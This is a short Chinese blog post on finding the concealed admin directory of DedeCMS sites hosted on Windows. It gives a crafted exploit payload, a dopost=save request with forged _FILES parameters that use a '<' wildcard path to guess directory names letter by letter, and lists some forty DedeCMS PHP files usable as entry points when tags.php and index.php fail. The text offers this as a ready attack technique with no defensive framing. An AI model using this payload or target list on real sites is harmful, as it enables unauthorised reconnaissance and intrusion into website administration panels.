emmmmmm,再也不用担心找不到dede的后台了~~(只支持win)

预防tags.php和index.php不能跑,这里我总结了一下可以利用的php:

  • 这里二级目录爆破的话,exp的语句需要改一下
1
dopost=save&_FILES[b4dboy][tmp_name]=../$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
  • /install/module_autos.php
  • /m/index.php
  • /m/list.php
  • /m/view.php
  • /member/config.php
  • /plus/ad_js.php
  • /plus/advancedsearch.php
  • /plus/arcmulti.php
  • /plus/bookfeedback.php
  • /plus/bookfeedback_js.php
  • /plus/car.php
  • /plus/carbuyaction.php
  • /plus/comments_frame.php
  • /plus/count.php
  • /plus/digg_ajax.php
  • /plus/digg_frame.php
  • /plus/disdls.php
  • /plus/diy.php
  • /plus/download.php
  • /plus/erraddsave.php
  • /plus/feedback.php
  • /plus/feedback_ajax.php
  • /plus/feedback_js.php
  • /plus/flink.php
  • /plus/flink_add.php
  • /plus/freelist.php
  • /plus/guestbook.php
  • /plus/heightsearch.php
  • /plus/list.php
  • /plus/mytag_js.php
  • /plus/posttocar.php
  • /plus/qrcode.php
  • /plus/recommend.php
  • /plus/rss.php
  • /plus/search.php
  • /plus/showphoto.php
  • /plus/stow.php
  • /plus/task.php
  • /plus/view.php
  • /plus/vote.php